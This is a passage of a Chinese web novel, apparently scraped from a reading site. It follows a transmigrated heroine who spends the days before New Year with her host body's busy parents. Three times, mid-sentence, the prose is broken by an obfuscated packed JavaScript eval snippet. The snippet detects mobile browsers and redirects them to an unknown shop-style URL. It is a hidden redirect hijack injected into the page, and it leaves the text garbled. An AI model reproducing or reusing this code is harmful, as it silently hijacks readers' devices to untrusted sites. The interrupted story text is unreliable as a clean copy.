手机响了。 原主妈妈来电。 谢予青深吸一口气,做了几秒钟的思想工作,接起电话,放在耳边。 “到家了?” 声音从听筒里传出来,带一点沙哑,语速有点快,是一个四十多岁的女人的声音,背景里有人说话,听起来是在忙。 “到了。”谢予青说。 “冰箱里有鸡蛋和青菜,你自己弄点吃的,冰箱冷冻层有速冻水饺。” “好。” “我和你爸二十九放假,你先一个人待两天,缺什么自己出去买,钱不够跟我说。” “够的。” “行,挂了啊。” “嗯。” 电话挂了。 谢予青看着手机屏幕上的通话记录,时长一分零三秒。 她把手机放在桌上,去厨房煮了碗速冻水饺。 白菜猪肉馅,她许久没做饭,有些生疏,煮的时候破了两个,汤里飘着白色的面皮和绿色的菜叶。 她端着碗坐在餐桌前,一个人吃完了那碗水饺。 窗外天色暗下来了。 小区里的路灯亮了,橘黄色的光照着楼下的绿化带。 有人在遛狗,棕色卷毛的小泰迪,在雪地上跑来跑去,远看是一个很可爱的小圆球。 远处有小孩放鞭炮,噼里啪啦响了几声,然后安静了。 天彻底黑了,谢予青开了客厅的灯,坐回沙发。 手机嗡一声。 乾珩发了一条消息:回家了吗? 谢予青:回了。 乾珩:爸妈还好吗? 谢予青想了想,回了一句:还没见,他们还在忙。 乾珩发了一个抱抱的表情。 谢予青看着那个表情,嘴角动了一下。 晚上九点,谢予青铺好四件套,洗了澡,换上睡衣,躺到原主的床上。 床单有淡淡的洗衣液味道,被子厚实,压在身上有点重,枕头的高度刚好,不软不硬。 她睁着眼睛,看着天花板上的灯。 卧室的灯是一朵花的形状,五片花瓣,中间是灯泡。 她想起原主书桌上那封信,信里同学写了一句话:你以后想做什么? 原主在那封信的背面写了两个字,铅笔写的,已经模糊了,她仔细辨认了一会儿,认出来了。 随便。 谢予青闭上眼睛。 她想起自己十八岁的时候,也写过这两个字。 高考志愿表上,父母说学金融好,她说随便。 大学毕业找工作,父母说银行稳定,她说随便。 工作了几年,父母说该结婚了,她说随便,随便,随便,随便,一辈子就这么随便过去了。 现在可以不随便了。 想学生物,就学了生物,想搞科研,就天天泡实验室。 想参加冬令营,就去了冬令营,想回家就回家,不想回家就不回。 谢予青翻了身,面朝墙壁。 墙壁是白色的,上面有一张贴纸,一颗星星,应该是荧光的那种,关灯了会发光。 谢予青关了灯。 天花板上的星星贴纸果真亮了起来,幽幽的绿光,一颗小星星。窗外有人放烟花,隔着玻璃,砰,砰,砰。 光透过窗帘映进来,一闪一闪的,五颜六色。 过了一会儿,烟花停了。 小区重新安静下来。 暖气管道里的水流声在夜深的时候变大了,谢予青听着那个声音,慢慢睡着了。 腊月二十九那天,谢予青起得很早。 窗帘缝里透进来的光还是灰蒙蒙的,她睁开眼,在床上又躺了一会儿。她把被子往上拉了拉,只露出眼睛,看着天花板上那颗荧光星星。 昨天夜里她没睡好。 翻来覆去,枕头翻了个面,被子掀开又盖上。 脑子里过了一遍又一遍,原主父母长什么样,说话什么语气,叫她什么。照片上那个男人微胖,穿西装,笑起来看着很和善,女人烫卷发,穿红裙子,站在中间,手搭在原主肩膀上。 谢予青在脑子里把那个画面放了很多遍。 然后又想自己站在那里的样子,应该是什么样的表情,手放在哪里,要不要笑。 想着想着睡着了,梦到一些乱七八糟的东西,醒来不记得了。 她坐起来,拿过手机看了一眼。 早上七点十二分。 放下手机,下床。 脚踩到地板的时候凉了一下,她缩了缩脚趾,找到拖鞋穿好。 出了卧室门,客厅还暗着,窗帘没拉开,只有厨房窗户透进来一点光。 她先去卫生间洗漱,对着镜子看了看自己。 头发有点油,昨天没洗。 想了想,今天原主父母回来,还是洗一下吧。 她在洗漱台洗了头发,用毛巾包住,吸了一会儿水,拿吹风机吹。吹到半干,换了冷风挡,把头顶的头发吹得蓬松一点。 头发干了,她对着镜子扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522260|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个马尾。 不高不低,刚好在耳朵上面一点的位置,碎发用夹子别好。 她左右转了转头,还行,精神。 又看了看身上的睡衣。 粉色纯棉的,领口有一圈小花边,原主的风格。她想换件衣服,手都伸到衣柜把手上了,又缩了回来。 穿睡衣好像太随便了?可是特意换了衣服,又显得太刻意。 本来就是在家,穿睡衣也正常。她犹豫了几秒,把手从衣柜上拿开,转身出了卧室。 在客厅空茫茫地转了几圈,才想起来她是准备煮饭吃的。 于是赶紧进了厨房,煮了点速冻馄饨当早饭。 馄饨是昨天去超市买的,荠菜猪肉馅。 水开了,馄饨下进去,用勺子推了推,怕粘锅。 盖盖煮了一会儿,皮变得透明,浮了上来。她用漏勺捞出来,盛到碗里,加了一点紫菜和虾皮,倒了一点醋。 端着碗坐到餐桌前。 馄饨烫,她吹了吹,咬了一口,荠菜的味道很冲,吃着吃着,手机嗡嗡震动。 唐笑发了一条消息:明天就过年了! 谢予青:是啊。 唐笑:你在家干嘛呢? 谢予青:吃早饭,爸妈今天回来。 唐笑:真好,我已经开始跟我妈干仗了。 谢予青笑了笑,发了一个表情,放下手机继续吃。 吃完馄饨,她把碗洗了,锅也洗了,灶台擦了一遍,厨房收拾干净,又去客厅把茶几上的东西摆整齐,沙发垫拽平了,靠垫拍松放回原处。 地板不脏,她还是扫了一遍,扫完之后站在客厅中央看了一圈,觉得差不多了。 回卧室之前,她又去卫生间检查了一下。 洗手台上自己的东西收进了柜子,毛巾挂整齐了,马桶边缘擦了,镜子上的水渍用干布抹了一遍。 做完这些,她回到卧室,坐到书桌前。 桌上那本《分子细胞生物学》翻开,她看了两页,没看进去,她强迫自己集中精神,还是没看进去。 心里忽上忽下的,她忍不住深呼吸几次。 合上书,放到一边,打开原主的电脑。 用了好些年的样子,键盘有几个字母磨掉了漆。 她点开浏览器,随便看了看新闻,又点开视频网站,首页推荐了几个综艺,她点了一个,看了两分钟,关了。 又点开一个电视剧,看了一集。 根本看不进去,她盯着屏幕,脑子在别的地方转。 临近中午,门锁响了。 谢予青从椅子上站起来,心脏跳得快了,指尖都有些发麻。 她站在卧室门口,听着外面的声音。 门开了,男人的声音先传进来,“东西先放门口,鞋换了再拿。” “你让一下,我拎着东西进不去。”女人的声音,高一点,带一点喘。 谢予青深吸一口气,拉开卧室门走出去。 玄关处站着两个人。 男人穿一件黑色大衣,手里拎着两个袋子,正弯腰换鞋,女人穿一件驼色羽绒服,怀里抱着一个纸箱,头发盘在脑后,脸上化了淡妆。 两个人都很忙的样子。 男人换好鞋,把袋子拎进厨房,出来的时候外套还没脱。 女人放下纸箱,蹲下来解鞋带,解了一半抬头看到谢予青。 “青青。” 女人站起来,走过来,很轻很短暂地抱了她一下。 松开的时候手在她的肩膀拍了拍,“瘦了。” “没瘦。”谢予青有点心虚地说,说完后背紧张地出了一层汗。 “穿这么少,冷不冷?”女人完全没发现什么异常。 “不冷,暖气挺热的。”谢予青放松了一些。 女人上下看了她一眼,笑了笑,又转身去拿东西了。 男人从厨房出来,看到谢予青,也走过来,伸手在她头顶比了比,“好像高了。” “没有吧。” “高了。”男人肯定地说了一句,然后也转身去搬东西了。 23. 第 23 章 两个人来来回回搬了好几趟,把东西全搬进屋里了。 冷冻的,冷藏的,常温的,分门别类。女人指挥男人把东西放哪里,语气急,动作快,嘴里一直念叨。 “排骨放冷冻,对,就下面那格,牛肉放上面,你放反了。” “没反。”男人嘴硬。 “上面是冷藏,你放冷冻。”女人不耐烦了,像是要骂人。 男人低头看了看,没吭声,把牛肉拿出来,换了。 谢予青站在客厅,尴尬又紧张,不知道该干什么。 她往前走了两步,又退了回来。 厨房里两个人挤在一起,一个往里塞东西,一个往外拿东西重新放,说话的声音和冰箱的提示音响成一片。 “你去沙发上坐着,别在这儿挡着。”女人头都没回说了这么一句。 谢予青愣了一下。 女人不是凶她,语气是随便的,自然的,只是跟自己家里人说了一句很普通的话。 谢予青转身,坐到了沙发上。 她坐在沙发上,手放在膝盖上,板板正正地坐了一会儿,觉得这样坐着太正经了,不太像一个在家里待了很久的人。 她往后靠了靠,把脚收上来,盘腿坐,又觉得这样太随便了,又把脚放下去,脚踩在地板上。 厨房里的声音渐渐小了。 冰箱门关上了,塑料袋收起来了,水龙头开了一下又关。 女人走出来,手里拿着湿抹布,擦了擦餐桌。 “青青,中午你想吃什么?” “都行。” “冰箱里有鱼,红烧吧。”这是男人的声音。 “鱼要蒸的才鲜,你说你这人,吃鱼就知道红烧。” “蒸的也行。” 两个人都进了厨房,又在厨房里说了几句,声音低了,听不清内容。 谢予青坐在沙发上,手里拿着手机。屏幕亮了,唐笑发了一条消息,她没看。 女人从厨房探出头来,“青青,你爸带了草莓回来,洗好了,在厨房台面上,你自己拿。” “好。” 谢予青站起来,走进厨房。 草莓装在白色盘子里,一颗一颗红得发亮。 她拿了一颗放进嘴里,酸酸甜甜的,味道不错。 她端着盘子走到厨房门口,看着客厅里的两个人。 男人在阳台上抽烟,窗户开了一条缝,烟雾从缝里飘出去。 女人在拆快递,用钥匙划开胶带,拿出里面的东西,一团红色的布料。 “过年穿的新衣服。”女人把布料抖开,是一件红色毛衣,领口有亮片,“给你的,试试大小。” 谢予青走过去,接过那件红色毛衣。 手感软,亮片在光下一闪一闪的。 “现在试?” “现在试,不合适还能换。” 谢予青把草莓盘子放在茶几上,拿着毛衣回了卧室。 关上门,脱了睡衣,套上那件红色毛衣。 镜子里的自己红通通的,亮片在领口围了一圈,衬得脸很白,大小合适,袖子不长不短,肩膀不紧不松。 她开门走出去。 女人看了她一眼,没说话,走过来扯了扯她的袖子,又看了看肩膀的缝线,“行了,正好,脱下来吧,洗干净再穿。” 谢予青回卧室换了睡衣。 中午饭是排骨面。 女人下的面,排骨是炖好的,不知道是买的现成的还是女人自己做的。 面条是手擀面,宽宽的,筋道,汤底上面飘着一层油花,撒了葱花和香菜。 三个人坐在餐桌前。 谢予青端起碗喝了一口汤,有些烫,她小心翼翼吹了吹,又喝了一口。 味道很浓,不像外面店里吃的那种,是家里才有的味道。 女人夹了两块排骨放到谢予青碗里,“多吃点,瘦成这样。” 男人也夹了一块给她。 谢予青碗里堆了三块排骨,面条被压在下面,看不到了。 “够了够了,吃不完。”她赶紧说。 “吃不完剩下。”女人自己开始吃面。 吃到一半,女人的手机响了。 她看了一眼屏幕,接起来。 “喂,王总,对,我在家,那个批文还没下来?不是说年前能批吗?” 男人也放下了筷子,盯着女人看。 女人听着电话,眉头皱起来。 “那不行,年后就晚了,你跟那边再催催,对,就说是我们的意思。” 男人忍不住开口,“什么批文?供货商那个?” 女人捂住手机话筒,压低声音说了一句“环保批文”,然后松开手继续讲电话。 “行行行,你先催,我下午再给你打电话。” 挂了电话,女人端起碗喝了一口汤。 男人在旁边说:“我上次就说了,那个批文年前肯定下不来,你还非要等。” “你说的就一定对啊?”女人把碗往桌上一放,语气很生硬。 “不是我对不对,环保局年前根本不审新申请,老张上个月交的,到现在连受理通知都没拿到。” “老张是老张,我是我,能一样吗?” “你这是……” “先吃饭吧。”谢予青实在被吵的脑瓜子疼,那一瞬间她忘记了自己是谁,只当是在自己家,没忍住开口了。 女人看了她一眼,愣了下,然后笑着说:“行行行,先吃饭先吃饭,不说了。” 男人也端起碗,继续吃面。 桌上的气氛松了一点,女人又给谢予青夹了一筷子青菜。 “你们学校食堂怎么样?”女人换了个话题。 “还行。” “吃得惯?” “惯。” 女人听完点点头,又问了一句学习跟不跟得上。 谢予青说跟得上。 女人说那就好。 男人在旁边没说话,碗里的面吃完了,端起碗喝汤,喝完用纸巾擦了嘴。 “你们学校那个专业,以后出来做什么?”男人问了一句。 “考研,做科研。”谢予青说。 男人看了她一眼,没再问,看起来也并不怎么关心。 面条吃完了,汤喝了一半,谢予青放下筷子,看了一眼对面两个人。 女人在喝汤,男人在看手机。 “我刷碗吧。”谢予青站起来。 女人抬头看了她一眼,眼中有些诧异,“不用,你放着。” “我来。”谢予青说完开始收碗。 把三个人的碗摞在一起,筷子收到一起,她端到厨房,又回来收盘子,排骨盘子里剩了一点汤汁,她倒进水池,冲了一下。 收完碗筷,拿抹布擦了餐桌。 女人跟进厨房,“你放那儿就行,我收拾。” 谢予青已经把碗放进水槽,开了水龙头。 水冲到碗上,溅了一点在她睡衣上,她挤了洗洁精,拿海绵擦了碗的内壁和外壁,冲干净,放到沥水架上。 “下面有洗碗机。”女人说。 谢予青低头看了看,水槽下面的柜门开着,露出一台银色的洗碗机。 她蹲下来看了看,关上柜门,站起来。 “我洗完了。” 女人看着她,脸上带着一点欣慰的表情,笑着伸手理了理谢予青额前的碎发。 “真长大了,上了大学就是不一样,还知道帮忙刷碗了。” 谢予青也跟着笑了笑。 原主在家大概不怎么做家务,之前的自己在大学的时候也差不多。放假回家就是吃,吃完就走,碗没洗过几次。 她拿干布把沥水架上的碗擦了一遍,收进碗柜。 又把灶台擦了一遍,抹布洗干净晾在水龙头上,做完这些,她在厨房站了一会儿。 女人已经回到客厅了,坐在沙发上跟男人说话。 说的还是生意上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524066|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,什么供货商什么物流什么年后涨价,两个人时而激动,时而冷静。 谢予青从厨房出来,站在客厅边上。 两个人在说话的间隙里看了她一眼,又接着说。 她不知道该坐在哪里,坐在沙发上怕打扰他们说话,站在这里又奇怪。 她转身回了卧室。 关上门,心脏还是跳得很快,她深吸一口气,又呼出来。 没事。 什么都没发生。 原主的父母没有发现她不是原主。 他们太忙了,忙得顾不上仔细看她,拥抱是赶时间的拥抱,说话是赶时间的说话,连问她大学生活都像是在完成一个流程,问完就继续聊生意了。 谢予青走到书桌前坐下来。 电脑还开着,她随后点开之前看的一个电视剧,画面里两个人站在阳台上,风吹着窗帘飘起来,背景音乐很煽情。 她看了一会儿,没看懂前面发生了什么,把声音调小了。 她想,其实没什么好怕的。 大学生回家不就是这样吗? 第一天新鲜,第二天开始无聊,第三天之后基本就窝在自己房间里了。 吃饭的时候出来,吃完了回屋。 偶尔跟父母聊几句,问问成绩怎么样,吃得好不好,有没有谈恋爱。回答都是一样的,还行,挺好的,没有。 父母也不会追问,他们有他们的事,工作,生意,房贷,人情往来。 就算有什么地方跟以前不一样,也可以用“上了大学懂事了”来解释,以前不刷碗,现在刷了,是懂事了。 以前话少,现在还是话少,性格没变。 以前学习一般,现在爱学习了,是长大了知道努力了。 手机震动,她思绪被拉回来,低头一看,是乾珩的消息:家里人都回去了吗? 谢予青:回来了。 乾珩:怎么样? 谢予青想了想,回了两个字:还行。 乾珩:过年有什么安排? 谢予青:没什么安排,就在家待着。 乾珩:我也是,年后要不要提前回学校? 谢予青看着这条消息,手指捏了捏下巴,有些愣神。 提前回学校?她还没想过。 冬令营结束回来没几天,又要回学校? 不过,如果真的可以,她确实想回。 在学校可以看书,做实验,去图书馆。 在家除了吃就是睡,饭桌上的话题都是她插不上嘴的生意经,她坐在自己房间里,跟待在宿舍没什么区别,只是换了一个房间。 谢予青:我不确定,要看我爸妈的意思。 乾珩:好的,其实我也不确定。 谢予青笑了下:到时候再说。 乾珩发了个点头的表情包。 谢予青放下手机,情绪淡淡的。 跟乾珩相处就是这样,总是淡淡的,没什么情绪起伏,跟和其他人相处没什么区别。 不过这样刚刚好,她本来也没想太多。 窗外有人放鞭炮了,噼里啪啦一阵响。鞭炮放完,空气里好像都能闻到硫磺的味道,虽然窗户关着。 谢予青站起来,走到窗前,拉开窗帘。 楼下的绿化带挂着红灯笼,风一吹,灯笼穗子晃来晃去。 地上还有没化的雪,上面落了一层红色的鞭炮纸屑。几个小孩在楼下跑,手里拿着摔炮,往地上一扔,啪的一声。 门被敲响了。 “青青。” 女人的声音。 谢予青转身走到门口,打开门。 女人站在门外,手里端着一盘切好的水果。 苹果,橙子,火龙果,切成小块,插着牙签。 “吃点水果,别老玩电脑。” “好。” 女人把盘子递给她,看了一眼房间里面,书桌上摊着几本书,电脑开着。 她没说什么,转身走了。 24. 第 24 章 谢予青端着水果盘回到书桌前,坐下来。 拿牙签扎了一块火龙果,放进嘴里,白色的果肉,黑色的籽,甜甜的。 又扎了一块苹果,酸一点,脆的。 她听到客厅里两个人又在说话。 手机突然震动来几下。 她拿起来看,是唐笑在她们宿舍的群里发了一张照片,她和家里的猫一起趴在床上,猫是橘色的,胖成一个球。 张文慧也马上发了一张雪景,她在东北老家,雪堆到了窗户的一半高。 谢予青看了看自己房间的窗户,外面只有灰白色的天和光秃秃的树。她没拍照片,发了一句“新年快乐”。 唐笑:还没到新年呢。 谢予青:提前祝。 郑圆圆:明天才是除夕。 张文慧:你急什么。 谢予青笑了一下,没再回。 她在书桌前坐了一会儿,电脑上的电视剧不知道什么时候已经播完了,画面停在最后一幕,男女主角拥抱在一起,字幕往上滚动。 她把播放器关了,桌面壁纸是一张默认的风景图,蓝天白云草地,没什么特别。 又刷了一下手机。 朋友圈里大家都在发年味的内容。 刷了一圈,没看到夏听北发朋友圈。 他好像不怎么发朋友圈,或者发了她没看到。 她停了一下,又继续划了一圈,还是没有。 她把朋友圈退出来,手机放到桌上。 晚上,女人又敲门叫她出来吃饭。 晚饭很丰盛,四菜一汤,红烧鱼,清炒西兰花,蒜蓉排骨,凉拌黄瓜,番茄蛋花汤。 三个人坐在桌前,女人又夹了很多菜到谢予青碗里,碗里堆得冒尖。 “妈,够了。” “够什么够,你看你瘦的。” 男人在旁边说了一句:“吃不完别硬吃。” 女人瞪了他一眼,男人不说了。 吃饭的时候,女人的手机又响了。 她看了一眼,接了,又是生意上的事。 说了几句挂了,男人的手机又响了,两个人轮流接电话,轮流说话。 谢予青坐在中间,一个人安静地吃着饭。 碗里的菜太多,她慢慢吃,吃到一半的时候,女人挂了电话,看了她一眼,像是漫不经心随口一问:“青青,你们班有没有人谈恋爱?” 谢予青筷子顿了一下,“有吧。” “你呢?” “没有。” 女人就笑了笑,“不急,好好学习。” “嗯。” 男人挂了电话,听到最后这句,插了一句:“大学谈也行,别耽误学习。” “你懂什么。”女人说。 “我怎么不懂了?” “先吃饭。”谢予青又说了这句。 两个人同时看了她一眼,又一起笑了。 谢予青不知道自己说的话哪里好笑了,但两个人都笑了,她也跟着笑了一下。 吃完饭,谢予青又抢着刷碗。 这次女人没有拦她,站在厨房门口看她操作洗碗机。谢予青把碗冲了,一格一格码进洗碗机,放好洗碗块,关了门,选了程序。 洗碗机轰隆隆响起来。 “会用?”女人问。 “看了说明书。” 女人靠在厨房门框上,看着她,看了一会儿,“青青,你在学校是不是谈恋爱了?” “没有。” “真没有?” “真没有。” 女人看了她几秒,信了。 “大学谈也行,别太认真。” “知道了。” 女人转身走了。 谢予青站在厨房里,听着洗碗机轰隆隆的声音,站了一会儿,回了卧室。 洗完澡,躺到床上。 房间暗了,那颗荧光星星在天花板上亮着。 手机震动。 乾珩发了一条消息。 乾珩:明天除夕,你家里怎么过? 谢予青:吃饭,看春晚。 乾珩:我也是。 过了一会儿,又发了一条:春天快到了。 谢予青看着这条消息。三月了,春天确实快到了。 她想起那棵老槐树,乾珩说等老槐树发芽了一起去看。 谢予青:快了。 乾珩发了一个笑脸。 谢予青把手机放到枕头边。 原主的父母好像很忙。 她想,原主大概一直就是这样过的。 平时在家跟父母说不上几句话,父母忙着生意,她在自己房间里待着,钱按时到账,衣服按时买,饭按时吃。什么都不缺,什么都不多。 她的世界可能很孤独,也可能很寂寞。 看到夏听北,觉得他好看,跟他说话的时候他会看她几眼,虽然只是礼貌的回应,但他那双眼睛太漂亮太深邃,让人觉得他很认真很深情,让人不自觉陷进去。 没几个人能控制得住。 所以原主追他,缠他,做那些偏激的事。 因为她缺一个认真看她的人,缺一个愿意跟她多说几句话的人。 谢予青的手指在被子上狠狠捏了一下。 她又想,其实原主父母也不是不爱她,是没有时间。 生意人的时间太碎了,他们给钱干脆,是因为心里有愧,觉得钱能补偿那些没给的时间。 但时间是任何东西都补偿不了的,时间就是时间,过去了就没了。 原主在那些空缺的时间里,一个人待着,一个人吃饭,一个人刷手机。慢慢地,心里那个洞里填进来的东西不对了,变成了嫉妒,变成了不甘,变成了一股要把所有注意力都抓过来的力气。 夏听北只是她抓到的一个目标。 她想起自己之前也是这样的。 一个人在出租屋里,一个人吃外卖,一个人过周末。 父母偶尔打电话来,问工作怎么样,有没有对象,什么时候结婚。她敷衍几句挂了,继续一个人待着。 后来她也变了,变得不爱跟人说话,无处发泄自己的情绪,只知道一味隐忍。 工作上被领导骂,忍了。 项目被抢了,忍了。 加班加到凌晨,忍了。 忍到最后,身体垮了,心脏一抽,倒下去,醒来就到了这里。 她经常在想,或许按照原来的走向,她是真的猝死了,只是不知为什么,或许上天怜惜她,又给了她复生的机会。 谢予青把被子蒙过头顶。 手从被子里伸出来,摸到枕头边的手机,按亮屏幕,快十一点了,没有新消息。 她把屏幕关了,放回去。 闭上眼睛,她眼前突然闪过夏听北的脸,她吓了一跳,睁开眼,缓了几秒,再次闭上眼,夏听北又出现了。 她皱眉坐起来,使劲儿揉了揉眼睛。 第二天。 谢予青醒了两次,第一次天还黑着,她翻了个身,用被子蒙住头,又睡过去了。 第二次醒来的时候,窗帘缝里的光已经白了,手机显示七点二十三分。 外面没有声音。 她躺着,盯着天花板上那颗荧光星星。 白天了,星星不亮了,看起来只是很普通的一张贴纸,边缘翘起来一点。 门被敲了三下。 “青青,起来吃饭,一会儿去超市。” 女人的声音。 谢予青应了一声,坐起来。 脚伸进拖鞋,睡衣外面套了一件厚的家居服,头发用夹子夹起来。出了卧室,女人已经在餐桌前了。 穿着一件深紫色的毛衣,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524111|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发随便扎着,脸上没化妆,男人还没出来,卫生间门关着,里面传出水声。 桌上摆着粥和馒头,一碟咸菜,两个煮鸡蛋。 “你爸在洗澡,不等他了,你先吃。” 谢予青坐下来,端起粥碗。 小米粥,熬得很稠,上面结了一层膜。 她吹了吹,喝了一口,剥了鸡蛋壳,鸡蛋很烫,在手里翻了个个儿,咬了一口,蛋黄噎住了,喝了一口粥往下送。 男人从卫生间出来,头发湿的,用毛巾擦着。 穿着一件深蓝色睡衣,领口有点松。 他坐到桌前,拿起一个馒头掰成两半,夹了咸菜,吃完半个馒头才开口说话。 “几点去超市?” “八点半,早点去人少。”女人说。 “东西多不多?” “不少,过年嘛。” 男人点点头,喝完碗里剩下的粥。 八点二十,三个人出了门。 电梯里还有别人,一家三口,小孩手里拿着一个气球,绳子拴在手腕上,气球顶在电梯天花板上,电梯门一开,气球飘出来,小孩拽着绳子往外跑,后面的大人在喊慢点慢点。 谢予青走在最后面。 出了单元门,冷风扑过来,她缩了缩脖子。 女人回头看了她一眼,伸手帮她把衣服领子竖起来,“穿这么少。” 男人走在最前面,步子大,女人在后面喊他走慢点,他放慢了,走几步又快起来,女人凶巴巴骂他一句,总算是慢了下来。 超市在小区对面,过一条马路就到了。 门口已经排了队,三个人一人推了一辆,女人从包里掏出一个购物清单,上面密密麻麻写满了字。 “青青,你去拿饮料,老谢,你去拿调料,酱油醋那些,我去生鲜那边再补点。” 分配完,三个人散开了。 谢予青推着车往饮料区走。 饮料区在超市最里面,经过零食区的时候,货架上全是红色包装的年货,旺旺大礼包,徐福记糖果,各种坚果礼盒。 地上堆着一人多高的促销堆头,红通通一片。 卖场广播在放恭喜发财,刘天王的歌,年年都放,年年都是这首。 她在饮料区挑了两大瓶果汁,一瓶可乐,又拿了一盒椰子汁。 路过酸奶区的时候,看到原主常喝的那个牌子,拿了两排。车里东西不多,她又绕到水果区拿了一盒草莓。 草莓盒子用保鲜膜封着,透过膜能看到草莓红得发亮,个头均匀。 推着车往回走,在调料区找到了男人。 他正拿着两瓶生抽对比,一瓶海天一瓶李锦记,蹲在那里看了好一会儿。 “哪个好?”他抬头问谢予青。 “都行吧。” “你妈说海天的好吃。” “那就海天。” 男人把海天放进车里,又拿了一瓶醋,放进车里。 三个人在收银台前面汇合了。 女人的车里装满了,鸡鸭鱼肉各种生鲜,塑料袋装得严严实实。她看了一眼谢予青的车,说了一句“拿这么少”,又从收银台旁边的货架上拿了两条口香糖和一盒薄荷糖放进车里。 排队结账。 前面的人很多,每一辆推车里都堆得满满的。 谢予青站在队尾,掏出手机看了一眼。 唐笑在群里发了一张贴春联的照片,她家的门是红色的,春联是金色的字,两边的福字贴歪了,群里三个人在评论角度问题。 队伍往前挪了一截,谢予青收起手机。 轮到他们了。 收银员利落地扫码,女人在前面装袋,男人在后面递袋子,谢予青站在最外面,拎着装好的那一袋放到旁边购物车里。 三个人的配合不算默契,互相说几句,说完继续装。 25. 第 25 章 结完账,三个人拎着大包小包回家。 路上的行人手里也都拎着东西,过年的氛围很足。 路过一个店铺门口,有人准备在路边放鞭炮,一长串挂在树枝上,还没点,一个小男孩蹲在鞭炮旁边,满脸好奇,旁边的大人一把把他拽起来,拉到后面去,嘴里絮絮叨叨数落着。 回到家,女人和男人开始收拾东西。 客厅的茶几上很快堆满了零食和水果,女人一边收拾一边念叨什么东西放哪里,男人在旁边递东西,两个人像两条流水线。 “排骨不用冻,今天就做了,放上边就行。” “不会坏吗?” “那么一会儿怎么会坏?” “你来你来。” 男人把手里的排骨递给女人,转身去拆快递了。 谢予青又被撵回了卧室。 “你在这儿碍事,回屋待着去,饭好了叫你。”女人说这话的时候手里拿着两坨肉,一个手一坨,站在厨房门口,表情认真,大概在盘算晚上做几道菜。 谢予青也不想添乱,转身回了卧室。 关上门,坐回书桌前。 电脑是睡眠模式,她晃一下鼠标,随手点开一个视频网站,随便看一个科普视频,看了几分钟,注意力就飘走了。 站起来走到窗前,拉开窗帘。 客厅里传来搬东西的声音,桌子和椅子被挪来挪去。 女人的声音从厨房方向传过来,在指挥男人拖地。 谢予青继续看科普片,声音调大了。 客厅里安静了一会儿,然后传来油烟机的声音,轰隆隆的,盖住了其他所有声音。 科普片播完了,她关了页面,又点开另一个。 手机震了一下,她拿起来看,是唐笑在群里发了一段语音。 谢予青点开,唐笑的声音从听筒里传出来,背景很吵,她喊了一句“我妈炸丸子呢,可香了”。 郑圆圆回了一张照片,她自己在包饺子,张文慧回了一个表情,一只猫在吃东西,腮帮子鼓鼓的。 谢予青也发了个表情,随后把手机放到桌上,继续看电脑。 中午随便吃了点,下午两个人在外边准备年夜饭,谢予青呆在卧室。 她想去帮忙,但女人说不用,她也怕露馅,于是乖乖回房间了。 六点多,女人推开了卧室的门,“青青,出来吃饭。” 油烟味从门缝涌进来,混着肉香和葱姜蒜的辛辣。 谢予青跟着女人走到客厅,餐桌被挪到了客厅中央,铺了新的桌布,暗红色的,上面印着暗花。 桌上的菜摆了满满一桌,中间是一条整鱼,鱼身上浇了深色的酱汁。 旁边是红烧肉,糖醋排骨,白切鸡,清炒时蔬,凉拌木耳,一盆汤,汤里飘着枸杞和红枣。 男人坐在主位上,手里拿着酒瓶,给自己倒了一杯白酒。 他看到谢予青,晃了晃酒瓶,“要不要来点?” “她喝什么酒,喝饮料。”女人从厨房端出最后一盘菜放在桌上,解下围裙,坐下来。 谢予青坐到女人旁边。 她面前摆着一杯可乐,杯壁上的气泡一颗一颗往上冒。 男人举起酒杯,“过年了,一家人团团圆圆。” 女人也举起酒杯,谢予青端起可乐杯,三个杯子碰在一起,发出脆响。 喝了一口,放下杯子。 女人夹了一块鱼肉放到谢予青碗里,“鱼肚子上的肉,嫩。” 又夹了一块排骨,又夹了一筷子青菜。 谢予青碗里又堆满了。 菜的味道很好。 鱼肉嫩,鱼肉没有小刺,大刺一挑就出来了。 排骨甜咸适中,糖色挂得均匀,咬下去肉从骨头上脱下来。 白切鸡的皮是脆的,蘸姜葱酱料,姜葱的味道冲。 谢予青慢慢吃着。 男人喝了两杯酒,脸红了,话多了起来。 他开始讲他年轻时候的事,讲他怎么从农村出来,怎么从摆地摊做起,怎么开了第一家店,怎么有了现在的生意。 谢予青听着,没有插话。 女人在旁边听着,看起来很感兴趣,还时不时补充一句。 男人说的事情,她都知道,有些地方她记得比男人清楚。 “那年在广州,进货的钱被骗了,身上只剩两百块。”男人夹了一颗花生米,嚼了几口咽了,“你妈给我打电话,我说没事,生意挺好的。” “你那时候嘴硬。”女人难得地带了点儿温柔的笑意。 “不硬不行,硬了才能撑下去。”男人摆摆手。 